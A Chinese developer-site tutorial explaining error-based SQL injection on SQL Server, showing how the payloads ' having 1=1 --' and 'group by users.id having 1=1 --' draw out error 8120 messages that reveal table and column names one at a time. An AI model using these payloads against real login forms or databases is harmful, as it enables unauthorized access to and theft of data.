热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

sqlserver注入

Sqlserver数据库注入Sqlserver数据库是一个非常优秀的数据库,它可以准确地定位错误消息,对开发人员来说来说,这是一件十分美好的事情,对攻击者来说也是一件十分美好的事情

Sql server数据库注入

Sql server数据库是一个非常优秀的数据库,它可以准确地定位错误消息,对开发人员来说来说,这是一件十分美好的事情,对攻击者来说也是一件十分美好的事情,因为攻击者可以通过错误消息提取数据。

(1)枚举当前表及列

查询root用户的详细信息,SQL语句如下:

select * from users where username=’root’

利用SQL server特性来获取敏感信息,例如:

‘ having 1=1 —

最终执行SQL语句:

select * from users where username=’root’ and password=’root’ having 1=1 —

那么sql执行器将会抛出一个错误(因为版本的问题,显示的错误信息也不尽相同)

消息 8120,级别 16,状态1,第2行

选择列表中的列“users.id”无效,因为该列灭有包含在聚合函数或Group by子句中。

由此可以发现当前表名为users,并且存在“id”列名,攻击者可以利用此特性继续得到其他列名,输入如下SQL语句:

select * from users where username=”root” and password=’root’ group by users.id having 1=1 —

执行器提示错误信息:

消息 8120,级别16,状态1,第一行

选择列表中的列’users.username’无效,因为该列没有包含在聚合函数或group by字句中。

可以看到执行器又抛出了“username”列名,由此可以依次递归查询,直到没有错误消息返回为止,这样就可以利用having字句“查询”出单前表中的所有列名。


推荐阅读
author-avatar
一二三
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有